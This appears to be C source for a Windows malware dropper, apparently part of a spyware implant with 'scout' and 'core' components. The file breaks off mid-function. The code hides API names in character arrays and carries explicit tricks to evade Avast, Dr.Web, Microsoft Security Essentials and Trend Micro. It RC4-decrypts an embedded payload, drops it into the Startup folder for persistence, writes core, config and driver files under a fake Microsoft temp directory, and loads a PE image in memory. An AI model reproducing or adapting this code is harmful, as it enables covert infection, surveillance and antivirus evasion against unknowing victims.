#include #include #include "DropperCode.h" #include "depack.h" #include "macro.h" #include "reloc.h" #pragma optimize( "", off ) // *** Disable all optimizations - we need code "as is"! #pragma code_seg(".extcd") // *** Lets put all functions in a separated code segment typedef PWCHAR (__cdecl *MYCONF)(PULONG uWinMain); typedef void (*ARCFOUR)(const unsigned char *key, size_t keylen, size_t skip, unsigned char *data, size_t data_len, PMY_DATA pData); __forceinline ULONG ldr_exportdir(HMODULE hModule); __forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData); typedef struct base_relocation_block { DWORD PageRVA; DWORD BlockSize; } base_relocation_block_t; typedef struct base_relocation_entry { WORD offset : 12; WORD type : 4; } base_relocation_entry_t; int __stdcall DropperEntryPoint() { DWORD dwCurrentAddr = 0; DWORD OEP = 0; // bypass AVAST emulation (SuspBehav-B static detection) for (int i = 0; i < 1000; i+=4) i -= 2; // Get current EIP in dwCurrentAddr __asm { call lbl_ref1 lbl_ref1: pop dwCurrentAddr } // *** Find the ending marker of data section - ASM because of Dr.Web :) while(1) { __asm { mov ecx, [dwCurrentAddr] magicloop: sub ecx, 1 mov edx, [ecx] mov ebx, edx and ebx, 0xffff0000 and edx, 0x0000ffff cmp edx, 0x453c jne magicloop nop cmp ebx, 0x003e0000 jne magicloop mov [dwCurrentAddr], ecx jmp endmagicloop } } endmagicloop: // *** Total size of data section dwCurrentAddr -= sizeof(DWORD); DWORD dwDataSize = (DWORD)(*(DWORD*)(dwCurrentAddr)); // *** Pointer to data section header DataSectionHeader *header = (DataSectionHeader*) (dwCurrentAddr - dwDataSize); // *** Resolve API LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary(); GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress(); CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 }; CHAR strShlwapi[] = { 'S', 'h', 'l', 'w', 'a', 'p', 'i', 0x0 }; CHAR strShell32[] = { 'S', 'h', 'e', 'l', 'l', '3', '2', 0x0 }; CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 }; CHAR strVirtualFree[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e', 0x0 }; CHAR strVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 }; CHAR strVirtualQuery[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'Q', 'u', 'e', 'r', 'y', 0x0 }; CHAR strGetModuleFileName[] = { 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'F', 'i', 'l', 'e', 'N', 'a', 'm', 'e', 'A', 0x0 }; CHAR strGetModuleHandleA[] = { 'G', 'e', 't', 'M', 'o', 'd', 'u', 'l', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 'A', 0x0 }; CHAR strCreateThread[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 }; CHAR strExitProcess[] = { 'E', 'x', 'i', 't', 'P', 'r', 'o' , 'c', 'e', 's', 's', 0x0 }; CHAR strGetEnvironmentVariableA[] = { 'G', 'e', 't', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'V', 'a', 'r', 'i', 'a', 'b', 'l', 'e', 'A', 0x0 }; CHAR strPathRemoveFileSpecA[] = { 'P', 'a', 't', 'h', 'R', 'e', 'm', 'o', 'v', 'e', 'F', 'i', 'l', 'e', 'S', 'p', 'e', 'c', 'A', 0x0 }; CHAR strGetFileAttributesA[] = { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'A', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', 's', 'A', 0x0 }; CHAR strSetFileAttributesA[] = { 'S', 'e', 't', 'F', 'i', 'l', 'e', 'A', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', 's', 'A', 0x0 }; CHAR strCreateDirectoryA[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'A', 0x0 }; CHAR strGetLastError[] = { 'G', 'e', 't', 'L', 'a', 's', 't', 'E', 'r', 'r', 'o', 'r', 0x0 }; CHAR strSetCurrentDirectoryA[] = { 'S', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'A', 0x0 }; CHAR strCreateFileA[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'A', 0x0 }; CHAR strCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 }; CHAR strWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 }; CHAR strCloseHandle[] = { 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 }; CHAR strSHGetSpecialFolderPathW[] = { 'S', 'H', 'G', 'e', 't', 'S', 'p', 'e', 'c', 'i', 'a', 'l', 'F', 'o', 'l', 'd', 'e', 'r', 'P', 'a', 't', 'h', 'W', 0x0 }; CHAR strGetShortPathNameW[] = { 'G', 'e', 't', 'S', 'h', 'o', 'r', 't', 'P', 'a', 't', 'h', 'N', 'a', 'm', 'e', 'W', 0x0 }; CHAR strPathAddBackslashW[] = { 'P', 'a', 't', 'h', 'A', 'd', 'd', 'B', 'a', 'c', 'k', 's', 'l', 'a', 's', 'h', 'W', 0x0 }; CHAR strPathAppendW[] = { 'P', 'a', 't', 'h', 'A', 'p', 'p', 'e', 'n', 'd', 'W', 0x0 }; CHAR strExitThread[] = { 'E', 'x', 'i', 't', 'T', 'h', 'r', 'e', 'a', 'd', 0x0 }; VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualAlloc); VIRTUALFREE pfn_VirtualFree = (VIRTUALFREE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualFree); VIRTUALPROTECT pfn_VirtualProtect = (VIRTUALPROTECT) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualProtect); GETMODULEFILENAME pfn_GetModuleFileNameA = (GETMODULEFILENAME) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetModuleFileName); GETMODULEHANDLE pfn_GetModuleHandleA = (GETMODULEHANDLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetModuleHandleA); VIRTUALQUERY pfn_VirtualQuery = (VIRTUALQUERY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualQuery); CREATETHREAD pfn_CreateThread = (CREATETHREAD) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateThread); GETENVIRONMENTVARIABLE pfn_GetEnvironmentVariableA = (GETENVIRONMENTVARIABLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetEnvironmentVariableA); PATHREMOVEFILESPEC pfn_PathRemoveFileSpecA = (PATHREMOVEFILESPEC) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathRemoveFileSpecA); GETFILEATTRIBUTESA pfn_GetFileAttributesA = (GETFILEATTRIBUTESA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetFileAttributesA); SETFILEATTRIBUTESA pfn_SetFileAttributesA = (SETFILEATTRIBUTESA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strSetFileAttributesA); CREATEDIRECTORY pfn_CreateDirectoryA = (CREATEDIRECTORY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateDirectoryA); GETLASTERROR pfn_GetLastError = (GETLASTERROR) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetLastError); SETCURRENTDIRECTORY pfn_SetCurrentDirectoryA = (SETCURRENTDIRECTORY) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strSetCurrentDirectoryA); CREATEFILEA pfn_CreateFileA = (CREATEFILEA) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateFileA); CREATEFILEW pfn_CreateFileW = (CREATEFILEW) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCreateFileW); WRITEFILE pfn_WriteFile = (WRITEFILE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strWriteFile); CLOSEHANDLE pfn_CloseHandle = (CLOSEHANDLE) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strCloseHandle); SHGETFOLDERW pfn_SHGetSpecialFolderPathW = (SHGETFOLDERW) pfn_GetProcAddress(pfn_LoadLibrary(strShell32), strSHGetSpecialFolderPathW); GETSHORTPATHNAMEW pfn_GetShortPathNameW = (GETSHORTPATHNAMEW) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strGetShortPathNameW); PATHADDBACKSLASHW pfn_PathAddBackslashW = (PATHADDBACKSLASHW) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathAddBackslashW); PATHAPPENDW pfn_PathAppendW = (PATHAPPENDW) pfn_GetProcAddress(pfn_LoadLibrary(strShlwapi), strPathAppendW); PMY_DATA pData = (PMY_DATA) pfn_VirtualAlloc(NULL, sizeof(MY_DATA), MEM_COMMIT, PAGE_READWRITE); pData->LoadLibraryA = pfn_LoadLibrary; pData->GetProcAddress = pfn_GetProcAddress; pData->VirtualAlloc = pfn_VirtualAlloc; pData->VirtualFree = pfn_VirtualFree; pData->VirtualProtect = pfn_VirtualProtect; pData->VirtualQuery = pfn_VirtualQuery; pData->GetModuleFileNameA = pfn_GetModuleFileNameA; pData->GetModuleHandleA = pfn_GetModuleHandleA; pData->CreateThread = pfn_CreateThread; pData->GetEnvironmentVariableA = pfn_GetEnvironmentVariableA; pData->PathRemoveFileSpecA = pfn_PathRemoveFileSpecA; pData->GetFileAttributesA = pfn_GetFileAttributesA; pData->CreateDirectoryA = pfn_CreateDirectoryA; pData->GetLastError = pfn_GetLastError; pData->SetCurrentDirectoryA = pfn_SetCurrentDirectoryA; pData->PathRemoveFileSpecA = pfn_PathRemoveFileSpecA; pData->SetFileAttributesA = pfn_SetFileAttributesA; pData->CreateFileA = pfn_CreateFileA; pData->CreateFileW = pfn_CreateFileW; pData->WriteFile = pfn_WriteFile; pData->CloseHandle = pfn_CloseHandle; pData->SHGetSpecialFolderPathW = pfn_SHGetSpecialFolderPathW; pData->GetShortPathNameW = pfn_GetShortPathNameW; pData->PathAddBackslashW = pfn_PathAddBackslashW; pData->PathAppendW = pfn_PathAppendW; pData->header = header; // *** Resolve API END // *** Check for Microsoft Security Essential emulation LPSTR fName = (LPSTR)pData->VirtualAlloc(NULL, MAX_PATH, MEM_COMMIT, PAGE_READWRITE); pData->GetModuleFileNameA(NULL, fName, MAX_PATH); DWORD prgLen = _STRLEN_(fName); // x86 char x86MspEng[26] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', ' ', 'S', 'e', 'c', 'u', 'r' ,'i', 't', 'y', ' ', 'C', 'l', 'i', 'e', 'n', 't', 0x0 }; for(DWORD i=0; iVirtualFree(fName, 0, MEM_RELEASE); // *** MSE emulation END // FIX INSTALLERS & STUFF FixInstallers(pData); // // *** Hook ExitProcess the lame way /* ULONG uOldProtect; MEMORY_BASIC_INFORMATION mbi; ULONG uHookAddress = (ULONG)((PBYTE)header + header->functions.exitProcessHook.offset); LPVOID pBaseAddress = pData->GetModuleHandleA(NULL); PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; PIMAGE_NT_HEADERS32 pNtHeaders = (PIMAGE_NT_HEADERS32) (((PBYTE)pDosHeader) + pDosHeader->e_lfanew); HOOKIAT pfn_HookIAT = (HOOKIAT) (((PCHAR)header) + header->functions.hookIAT.offset); pfn_HookIAT(strKernel32, strExitProcess, //(DWORD)pExitProcessAddr, (DWORD)uHookAddress, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, (DWORD)pBaseAddress, pData); // this is used to notify the ExitProcess hook that we can exit the process, // so it must be writable pfn_VirtualProtect(&header->synchro, 4096, PAGE_READWRITE, &uOldProtect); // this is used to hold the dll path for CoreThreadProc pfn_VirtualProtect(&header->dllPath, 4096, PAGE_READWRITE, &uOldProtect); // exit hook pfn_VirtualProtect(((PBYTE)header + header->functions.exitProcessHook.offset), header->functions.load.size, PAGE_EXECUTE_READ, &uOldProtect); */ if (header->isScout) { // extract scout PBYTE pPackedScoutBuffer = (PBYTE)pData->VirtualAlloc(NULL, header->files.core.size, MEM_COMMIT, PAGE_READWRITE); _MEMCPY_(pPackedScoutBuffer, (PBYTE)header + header->files.core.offset, header->files.core.size); ARCFOUR pfn_rc4skip = (ARCFOUR) (((char*)header) + header->functions.rc4.offset); pfn_rc4skip((PBYTE)header->rc4key, 64, 0, pPackedScoutBuffer, header->files.core.size, pData); //PBYTE pScoutBuffer = (PBYTE) pData->VirtualAlloc(NULL, header->files.core.original_size, MEM_COMMIT, PAGE_READWRITE); //if (aP_depack(pPackedScoutBuffer, pScoutBuffer) != header->files.core.original_size) // goto OEP_RESTORE; //pData->VirtualFree(pPackedScoutBuffer, 0, MEM_RELEASE); // ** save buffer & size pData->pScoutBuffer = pPackedScoutBuffer; pData->pScoutSize = header->files.core.original_size; //pfn_VirtualProtect(((PBYTE)header + header->functions.load.offset), header->functions.load.size, PAGE_EXECUTE_READ, &uOldProtect); // *** start the scout //HANDLE hThread = pData->CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) ((PBYTE)header + header->functions.load.offset), pData, 0, NULL); LPWSTR strTempPath = (LPWSTR) pData->VirtualAlloc(NULL, 32768*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE); LPWSTR strScoutPath = (LPWSTR) pData->VirtualAlloc(NULL, 32768*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE); _MEMSET_(strScoutPath, 0x0, 32768*sizeof(WCHAR)); pData->SHGetSpecialFolderPathW(NULL, strTempPath, CSIDL_STARTUP, FALSE); pData->GetShortPathNameW(strTempPath, strScoutPath, 32767); pData->VirtualFree(strTempPath, 0, MEM_RELEASE); strTempPath = strScoutPath; while (*strTempPath != 0x0) strTempPath++; *strTempPath = L'\\'; strTempPath++; DWORD x, y; x = y = 0; while (header->eliteExports[x] != 0) { ((PCHAR)strTempPath)[y] = header->eliteExports[x]; y++; ((PCHAR)strTempPath)[y] = 0x0; x++; y++; } strTempPath[x] = L'.'; strTempPath[x+1] = L'e'; strTempPath[x+2] = L'x'; strTempPath[x+3] = L'e'; HANDLE hScoutFile = pData->CreateFileW(strScoutPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hScoutFile != INVALID_HANDLE_VALUE) { pData->WriteFile(hScoutFile, pData->pScoutBuffer, pData->pScoutSize, &x, NULL); pData->CloseHandle(hScoutFile); } } else { CHAR pSep[] = { '\\', 0x0 }; CHAR pTmp[] = { 'T', 'M', 'P', 0x0}; CHAR pSubDir[] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', 0x0 }; LPSTR pTmpDir = (LPSTR)pData->VirtualAlloc(NULL, 32767, MEM_COMMIT, PAGE_READWRITE); _ZEROMEM_(pTmpDir, 32767); pData->GetEnvironmentVariableA(pTmp, pTmpDir, MAX_PATH); pData->PathRemoveFileSpecA(pTmpDir); _STRCAT_(pTmpDir, pSep); _STRCAT_(pTmpDir, pSubDir); /* check if subdir Microsoft exists if not, then create it. */ DWORD FileAttributes = pData->GetFileAttributesA(pTmpDir); if (FileAttributes == INVALID_FILE_ATTRIBUTES || !(FileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { DWORD bRet = pData->CreateDirectoryA(pTmpDir, NULL); if (!bRet) if (pData->GetLastError() != ERROR_ALREADY_EXISTS) // non-sense but.. whatever. { pData->VirtualFree(pTmpDir, 0, MEM_RELEASE); goto OEP_RESTORE; } } //FIXME: get short name!! _STRCAT_(pTmpDir, pSep); _STRCAT_(pTmpDir, pData->header->instDir); _STRCAT_(pTmpDir, pSep); BOOL bRet = pData->CreateDirectoryA(pTmpDir, NULL); if (!bRet) { if (pData->GetLastError() != ERROR_ALREADY_EXISTS) { pData->VirtualFree(pTmpDir, 0, MEM_RELEASE); goto OEP_RESTORE; } } pData->SetCurrentDirectoryA(pTmpDir); _STRCAT_(pTmpDir, (PCHAR)(((PCHAR)header) + header->files.names.core.offset)); pData->header->dllPath = pTmpDir; DUMPFILE pfn_DumpFile = (DUMPFILE) (((PCHAR)header) + header->functions.dumpFile.offset); // CORE if (header->files.core.offset != 0 && header->files.core.size != 0) { PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core.offset); PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core.offset); DWORD size = header->files.core.size; DWORD originalSize = header->files.core.original_size; BOOL ret = pfn_DumpFile(fileName, (PCHAR)fileData, size, originalSize, pData); if (ret == FALSE) goto OEP_RESTORE; } else goto OEP_RESTORE; // CORE (64 bit) if (header->files.core64.offset != 0 && header->files.core64.size != 0) { PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core64.offset); PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core64.offset); DWORD size = header->files.core64.size; DWORD originalSize = header->files.core64.original_size; BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData); } // CONFIG if (header->files.config.offset != 0 && header->files.config.size != 0) { PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.config.offset); PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.config.offset); DWORD size = header->files.config.size; DWORD originalSize = header->files.config.original_size; BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData); if (ret == FALSE) goto OEP_RESTORE; } // DRIVER if (header->files.driver.offset != 0 && header->files.driver.size != 0) { PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.driver.offset); PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.driver.offset); DWORD size = header->files.driver.size; DWORD originalSize = header->files.driver.original_size; BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData); } // DRIVER (64 bit) if (header->files.driver64.offset != 0 && header->files.driver64.size != 0) { PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.driver64.offset); PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.driver64.offset); DWORD size = header->files.driver64.size; DWORD originalSize = header->files.driver64.original_size; BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData); } // CODEC if (header->files.codec.offset != 0 && header->files.codec.size != 0) { PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.codec.offset); PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.codec.offset); DWORD size = header->files.codec.size; DWORD originalSize = header->files.codec.original_size; BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData); } /* // BITMAP(DEMO) if (header->files.bitmap.offset != 0 && header->files.bitmap.size != 0) { PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.bitmap.offset); PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.bitmap.offset); DWORD size = header->files.bitmap.size; DWORD originalSize = header->files.bitmap.original_size; BOOL ret = pfn_DumpFile(fileName, fileData, size, originalSize, pData); } */ DWORD oldProtect; THREADPROC pfn_CoreThreadProc = (THREADPROC)(((char*)header) + header->functions.coreThread.offset); pData->VirtualProtect(pfn_CoreThreadProc, (UINT_PTR)CoreThreadProc_End - (UINT_PTR)CoreThreadProc, PAGE_EXECUTE_READWRITE, &oldProtect); pfn_CreateThread(NULL, 0, pfn_CoreThreadProc, pData, 0, NULL); } OEP_RESTORE: // *** restore the original code if (header->stage1.size) { PBYTE pCode = (PBYTE) (((PBYTE)header) + header->stage1.offset); size_t size = header->stage1.size; DWORD oldProtect; pData->VirtualProtect((LPVOID)header->stage1.VA, header->stage1.size, PAGE_EXECUTE_READWRITE, &oldProtect); _MEMCPY_((LPVOID)header->stage1.VA, pCode, size); pData->VirtualProtect((LPVOID)header->stage1.VA, header->stage1.size, oldProtect, &oldProtect); } return TRUE; OEP_CALL: return FALSE; } FUNCTION_END(DropperEntryPoint); LPVOID WINAPI MemoryLoader(LPVOID pDataBuffer) { ULONG uSize; LPVOID lpRawBuffer; DWORD header_size = 0; LPVOID lpAddress = NULL; IMAGE_DOS_HEADER dos_header; IMAGE_NT_HEADERS32 pe_header; PMY_DATA pData = (PMY_DATA)pDataBuffer; _MEMSET_(&dos_header, 0x0, sizeof(dos_header)); _MEMSET_(&pe_header, 0x0, sizeof(dos_header)); lpRawBuffer = pData->pScoutBuffer; uSize = pData->pScoutSize; if (lpRawBuffer != NULL) { _MEMCPY_(&dos_header, lpRawBuffer, sizeof(dos_header)); if (dos_header.e_magic != IMAGE_DOS_SIGNATURE || dos_header.e_lfanew == 0) return lpAddress; _MEMCPY_(&pe_header, CALC_OFFSET(LPVOID, lpRawBuffer, dos_header.e_lfanew), sizeof(pe_header)); if (pe_header.Signature != IMAGE_NT_SIGNATURE) return lpAddress; lpAddress = pData->VirtualAlloc(NULL, pe_header.OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE); if (lpAddress == NULL) return lpAddress; header_size = dos_header.e_lfanew + pe_header.FileHeader.SizeOfOptionalHeader + sizeof(pe_header.FileHeader) + 4; IMAGE_SECTION_HEADER section; LPVOID lpBufferPtr = CALC_OFFSET(LPVOID, lpRawBuffer, header_size); _MEMCPY_(§ion, lpBufferPtr, sizeof(section)); _MEMCPY_(lpAddress, lpRawBuffer, section.PointerToRawData); PIMAGE_SECTION_HEADER sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size); for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++) { LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress); _MEMCPY_(lpSectionBuffer, CALC_OFFSET(LPVOID, lpRawBuffer, sections->PointerToRawData), sections->SizeOfRawData); } } DWORD ignore = 0; ldr_reloc(lpAddress, &pe_header); ldr_importdir((HMODULE) lpAddress, &pe_header, pData); MYCONF MyConf = (MYCONF)ldr_exportdir((HMODULE) lpAddress); PIMAGE_SECTION_HEADER sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size); for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++) { LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress); if ((sections->Characteristics & IMAGE_SCN_MEM_EXECUTE) == IMAGE_SCN_MEM_EXECUTE) pData->VirtualProtect(lpSectionBuffer, sections->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &ignore); } pData->VirtualProtect(lpAddress, header_size, PAGE_READONLY, &ignore); // questo comunica allo scout che sta girando in un meltato e gli passa // un puntatore a synchro che viene usata dalla hook di ExitProcess per sapere // quando si puo' uscire MAIN ptrMain = (MAIN)CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint); //ptrMain((HINSTANCE)0x600db4b3, NULL, "", 0xa); PWCHAR pScoutName = MyConf(&pData->header->synchro); // drop scout into startup folder PWCHAR pTempStartupPath = (PWCHAR)pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); pData->SHGetSpecialFolderPathW(NULL, pTempStartupPath, CSIDL_STARTUP, TRUE); PWCHAR pStartupPath = (PWCHAR)pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); pData->GetShortPathNameW(pTempStartupPath, pStartupPath, 32767); pData->VirtualFree(pTempStartupPath, 0, MEM_RELEASE); ULONG uScoutNameLen = _STRLENW_(pScoutName); WCHAR strExe[] = { L'.', L'e', L'x', L'e', L'\0' }; PWCHAR pExeName = (PWCHAR) pData->VirtualAlloc(NULL, 32767 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE); _MEMCPY_(pExeName, pScoutName, uScoutNameLen); _MEMCPY_(((PBYTE)pExeName) + uScoutNameLen, strExe, _STRLENW_(strExe)); pData->PathAddBackslashW(pStartupPath); pData->PathAppendW(pStartupPath, pExeName); HANDLE hFile = pData->CreateFileW(pStartupPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile) { ULONG uWritten = 0; pData->WriteFile(hFile, lpRawBuffer, uSize, &uWritten, NULL); //pData->CloseHandle(hFile); // Non chiude l' handle cosi' Trendmicro nn s'incazza } pData->VirtualFree(pStartupPath, 0, MEM_RELEASE); // MAIN MAIN ptrMain((HINSTANCE)lpAddress, NULL, "", 0xa); // not reached return CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint); } FUNCTION_END(MemoryLoader); /* __forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData) { DWORD dwIatSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; DWORD dwIatAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; // no import directory here! if (dwIatAddr == 0) return; PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, pModule, dwIatAddr); while(pImportDescriptor) { if (pImportDescriptor->FirstThunk == 0) { pImportDescriptor = NULL; continue; } LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->FirstThunk); LPCSTR lpModName = CALC_OFFSET(LPCSTR, pModule, pImportDescriptor->Name); HMODULE hMod = pData->LoadLibraryA(lpModName); if (hMod != NULL) while(*pImportLookupTable != 0x00) { if ((*pImportLookupTable & IMAGE_ORDINAL_FLAG) != 0x00) { DWORD pOrdinalValue = *(CALC_OFFSET(LPDWORD, pImportLookupTable, 0)) & 0x0000ffff; *pImportLookupTable = (DWORD) pData->GetProcAddress(hMod, (LPCSTR) pOrdinalValue); } else { LPCSTR lpProcName = CALC_OFFSET_DISP(LPCSTR, pModule, (*pImportLookupTable), 2); // adding two bytes *pImportLookupTable = (DWORD) pData->GetProcAddress(hMod, lpProcName); } pImportLookupTable++; } pImportDescriptor++; } } */ __forceinline void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader, PMY_DATA pData) { DWORD dwIatSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; DWORD dwIatAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; // no import directory here! if (dwIatAddr == 0) return; PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, pModule, dwIatAddr); while(pImportDescriptor->Characteristics != 0) { LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->Characteristics); LPDWORD pIATRVA = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->FirstThunk); LPCSTR lpModName = CALC_OFFSET(LPCSTR, pModule, pImportDescriptor->Name); HMODULE hMod = pData->LoadLibraryA(lpModName); if (hMod != NULL) while(*pImportLookupTable != 0x00) { if ((*pImportLookupTable & IMAGE_ORDINAL_FLAG) != 0x00) { DWORD pOrdinalValue = *pImportLookupTable & 0x0ffff; *pIATRVA = (DWORD) pData->GetProcAddress(hMod, (LPCSTR) pOrdinalValue); } else { LPCSTR lpProcName = CALC_OFFSET_DISP(LPCSTR, pModule, (*pImportLookupTable), 2); // adding two bytes *pIATRVA = (DWORD) pData->GetProcAddress(hMod, lpProcName); } pIATRVA++; pImportLookupTable++; } pImportDescriptor++; } } __forceinline ULONG ldr_exportdir(HMODULE hModule) { ULONG pFunction = NULL; PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER) hModule; PIMAGE_NT_HEADERS pImageNtHeaders = CALC_OFFSET(PIMAGE_NT_HEADERS, hModule, pImageDosHeader->e_lfanew); PIMAGE_DATA_DIRECTORY pExportDir = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; if (pExportDir->Size == 0 || pExportDir->VirtualAddress == 0) return pFunction; PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY) ((PBYTE)pExportDir->VirtualAddress + (ULONG)hModule); pExportDirectory->AddressOfNames += DWORD(hModule); pExportDirectory->AddressOfFunctions += DWORD(hModule); pExportDirectory->AddressOfNameOrdinals += DWORD(hModule); LPDWORD ptrFunctions = (LPDWORD) pExportDirectory->AddressOfFunctions; LPDWORD ptrNames = (LPDWORD) pExportDirectory->AddressOfNames; for(DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) { ptrFunctions[i] += (DWORD) hModule; ptrNames[i] += (DWORD) hModule; pFunction = ptrFunctions[i]; } return pFunction; } __forceinline void ldr_reloc(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader) { DWORD dwRelocSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; DWORD dwRelocAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; if (dwRelocAddr == 0 || dwRelocSize == 0) return; 